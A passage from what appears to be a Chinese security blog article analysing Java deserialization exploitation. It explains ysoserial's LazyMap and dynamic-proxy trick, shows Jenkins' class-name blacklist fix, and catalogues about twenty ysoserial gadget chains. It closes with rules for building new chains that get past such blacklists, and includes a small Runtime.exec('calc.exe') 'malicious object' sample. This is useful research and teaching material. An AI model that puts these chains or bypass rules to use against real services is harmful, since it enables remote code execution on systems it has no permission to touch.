以上是TransformedMap的利用构造过程。而ysoserial官方更倾向于使用LazyMap作为装饰器,它在装饰时会传入原始Map和一个Transformer作为工厂,当get()获取值时,若键不存在,就会调用工厂的transform()创建一个新值放入Map中,因此装饰任意一个空Map也可以满足需求:

Map m = LazyMap.decorate(new HashMap(), chain);

但与TransformedMap不同的是,AnnotationInvocationHandler.readObject()中并没有直接的对memberTypes执行get()操作,反而是在它的invoke()中存在get(),但又对方法名有一定的要求:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    Object result = memberValues.get(member);
    // omit
}

所以,ysoserial使用Java动态代理的方式处理了LazyMap,使readObject()在调用memberValues.entrySet()时代理进入AnnotationInvocationHandler.invoke()阶段,刚好方法名entrySet也可以顺利的跳过前面的几个判断条件,最终达到目的。这也是为什么Payload中会包含两个AnnotationInvocationHandler的原因。

修复方案

Jenkins在1.638版本的Connection.readObject()中,将默认的ObjectInputStream改为了其自定义的子类ObjectInputStreamEx,并传入ClassFilter.DEFAULT校验过滤:

public <T> T readObject() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStreamEx(in,
            getClass().getClassLoader(), ClassFilter.DEFAULT);
    return (T)ois.readObject();
}

ClassFilter.DEFAULT长这样:

public static final ClassFilter DEFAULT = new ClassFilter() {
    protected boolean isBlacklisted(String name) {
        if (name.startsWith("org.codehaus.groovy.runtime.")) {
            return true;
        } else if (name.startsWith("org.apache.commons.collections.functors.")) {
            return true;
        } else {
            return name.contains("org.apache.xalan");
        }
    }
};

还是一个简简单单的黑名单。

 

POP的艺术

既然反序列化漏洞常见的修复方案是黑名单,就存在被绕过的风险,一旦出现新的POP链,原来的防御也就直接宣告无效了。

所以在反序列化漏洞的对抗史中,除了有大佬不断的挖掘新的反序列化漏洞点,更有大牛不断的探寻新的POP链。

POP已经成为反序列化区别于其他常规Web安全漏洞的一门特殊艺术。

既然如此,我们就用ysoserial这个项目,来好好探究一下现在常用的这些RCE类POP中到底有什么乾坤:

  • BeanShell1
    • 命令执行载体:bsh.Interpreter
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()反序列化所有元素后,通过comparator.compare()进行排序,该comparator被代理给XThis.Handler处理,其invoke()会调用This.invokeMethod()Interpreter解释器中解析包含恶意代码的compare方法并执行
  • C3P0
    • 命令执行载体:bsh.Interpreter
    • 反序列化载体:com.mchange.v2.c3p0.PoolBackedDataSource
    • PoolBackedDataSource.readObject()进行到父类PoolBackedDataSourceBase.readObject()阶段,会调用ReferenceIndirector$ReferenceSerialized.getObject()获取对象,其中InitialContext.lookup()会去加载远程恶意对象并初始化,导致命令执行,有些同学可能不太清楚远程恶意对象的长相,举个简单的例子:
      public class Malicious {
          public Malicious() {
              java.lang.Runtime.getRuntime().exec("calc.exe");
          }
      }
  • Clojure
    • 命令执行载体:clojure.core$comp$fn__4727
    • 反序列化载体:HashMap
    • HashMap.readObject()反序列化各元素时,通过它的hashCode()得到hash值,而AbstractTableModel$ff19274a.hashCode()会从IPersistentMap中取hashCode键的值对象调用其invoke(),最终导致Clojure Shell命令字符串执行
  • CommonsBeanutils1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()执行排序时,BeanComparator.compare()会根据BeanComparator.property (值为outputProperties 调用TemplatesImpl.getOutputProperties(),它在newTransformer()时会创建AbstractTranslet实例,导致精心构造的Java字节码被执行
  • CommonsCollections1
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:AnnotationInvocationHandler
    • 见前文
  • CommonsCollections2
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()执行排序时,TransformingComparator.compare()会调用InvokerTransformer.transform()转换元素,进而获取第一个元素TemplatesImplnewTransformer()并调用,最终导致命令执行
  • CommonsCollections3
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:AnnotationInvocationHandler
    • Transformer数组元素组成不同外,与CommonsCollections1基本一致
  • CommonsCollections4
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:PriorityQueue
    • PriorityQueue.readObject()执行排序时,TransformingComparator.compare()会调用ChainedTransformer.transform()转换元素,进而遍历执行Transformer数组中的每个元素,最终导致命令执行
  • CommonsCollections5
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:BadAttributeValueExpException
    • BadAttributeValueExpException.readObject()System.getSecurityManager()null时,会调用TiedMapEntry.toString(),它在getValue()时会通过LazyMap.get()取值,最终导致命令执行
  • CommonsCollections6
    • 命令执行载体:org.apache.commons.collections.functors.ChainedTransformer
    • 反序列化载体:HashSet
    • HashSet.readObject()反序列化各元素后,会调用HashMap.put()将结果放进去,而它通过TiedMapEntry.hashCode()计算hash时,会调用getValue()触发LazyMap.get()导致命令执行
  • Groovy1
    • 命令执行载体:org.codehaus.groovy.runtime.MethodClosure
    • 反序列化载体:AnnotationInvocationHandler
    • AnnotationInvocationHandler.readObject()在通过memberValues.entrySet()获取Entry集合,该memberValues被代理给ConvertedClosure拦截entrySet方法,根据MethodClosure的构造最终会由ProcessGroovyMethods.execute()执行系统命令
  • Hibernate1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:HashMap
    • HashMap.readObject()通过TypedValue.hashCode()计算hash时,ComponentType.getPropertyValue()会调用PojoComponentTuplizer.getPropertyValue()获取到TemplatesImpl.getOutputProperties方法并调用导致命令执行
  • Hibernate2
    • 命令执行载体:com.sun.rowset.JdbcRowSetImpl
    • 反序列化载体:HashMap
    • 执行过程与Hibernate1一致,但Hibernate2并不是传入TemplatesImpl执行系统命令,而是利用JdbcRowSetImpl.getDatabaseMetaData()调用connect()连接到远程RMI
  • JBossInterceptors1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.jboss.interceptor.proxy.InterceptorMethodHandler
    • InterceptorMethodHandler.readObject()executeInterception()时,会根据SimpleInterceptorMetadata拿到TemplatesImpl放进ArrayList中,并传入SimpleInterceptionChain进行初始化,它在调用invokeNextInterceptor()时会导致命令执行
  • JSON1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:HashMap
    • HashMap.readObject()将各元素放进HashMap时,会调用TabularDataSupport.equals()进行比较,它的JSONObject.containsValue()获取对象后在PropertyUtils.getProperty()内动态调用getOutputProperties方法,它被代理给CompositeInvocationHandlerImpl,其中转交给JdkDynamicAopProxy.invoke(),在AopUtils.invokeJoinpointUsingReflection()时会传入从AdvisedSupport.target字段中取出来的TemplatesImpl,最终导致命令执行
  • JavassistWeld1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
    • 除JBoss部分包名存在差异外,与JBossInterceptors1基本一致
  • Jdk7u21
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:LinkedHashSet
    • LinkedHashSet.readObject()将各元素放进HashMap时,第二个元素会调用equals()与第一个元素进行比较,它被代理给AnnotationInvocationHandler进入equalsImpl(),在getMemberMethods()遍历TemplatesImpl的方法遇到getOutputProperties进行调用时,导致命令执行
  • MozillaRhino1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:BadAttributeValueExpException
    • BadAttributeValueExpException.readObject()调用NativeError.toString()时,会在ScriptableObject.getProperty()中进入getImpl()ScriptableObject$Slot根据name获取到封装了Context.enter方法的MemberBox,并通过它的invoke()完成调用,而之后根据message调用TemplatesImpl.newTransformer()则会导致命令执行
  • Myfaces1
    • 命令执行载体:org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
    • 反序列化载体:HashMap
    • HashMap.readObject()通过ValueExpressionMethodExpression.hashCode()计算hash时,会由getMethodExpression()调用ValueExpression.getValue(),最终导致EL表达式执行
  • Myfaces2
    • 命令执行载体:org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
    • 反序列化载体:HashMap
    • 执行过程与Myfaces1一致,但Myfaces2的EL表达式并不是由使用者传入的,而是预制了一串加载远程恶意对象的表达式
  • ROME
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:HashMap
    • HashMap.readObject()通过ObjectBean.hashCode()计算hash时,会在ToStringBean.toString()阶段遍历TemplatesImpl所有字段的Setter和Getter并调用,当调用到getOutputProperties()时将导致命令执行
  • Spring1
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
    • SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()在调用TypeProvider.getType()时被代理给AnnotationInvocationHandler得到另一个Handler为AutowireUtils$ObjectFactoryDelegatingInvocationHandler的代理,之后传给ReflectionUtils.invokeMethod()动态调用newTransformer方法时被第二个代理拦截,它的objectFactory字段是第三个代理,因此objectFactory.getObject()会获得TemplatesImpl,最终导致命令执行
  • Spring2
    • 命令执行载体:org.apache.xalan.xsltc.trax.TemplatesImpl
    • 反序列化载体:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
    • SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()在动态调用newTransformer方法时,被第二个代理拦截交给JdkDynamicAopProxy,它在AopUtils.invokeJoinpointUsingReflection()时会传入从AdvisedSupport.targetSource字段中取出来的TemplatesImpl,最终导致命令执行

根据上面这些内容,我们可以得到几条简单的POP构造法则:

  1. 当依赖中不存在可以执行命令的方法时,可以选择使用TemplatesImpl作为命令执行载体,并想办法去触发它的newTransformergetOutputProperties方法
  2. 可以作为入口的通用反序列化载体是HashMapAnnotationInvocationHandlerBadAttributeValueExpExceptionPriorityQueue,它们都是依赖较少的JDK底层对象,区别如下:
    • HashMap,可以主动触发元素的hashCodeequals方法
    • AnnotationInvocationHandler,可以主动触发memberValues字段的entrySet方法,本身也可以作为动态代理的Handler进入自己的invoke方法
    • BadAttributeValueExpException,可以主动触发val字段的toString方法
    • PriorityQueue,可以主动触发comparator字段的compare方法

 

总结

历年来,很多流行的Java组件框架都被爆出过反序列化漏洞,这已经有好多大牛们都进行过分析总结了,本文的主要目的也不在此,而是为了去深挖反序列化漏洞底层一些可能还没有被唤醒的地方。

不过有一点要切记,反序列化不止RCE。

 

参考

  1. JavaSE Document
  2. Java OpenJDK Source Code
  3. Java OpenJDK Github Mirror
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多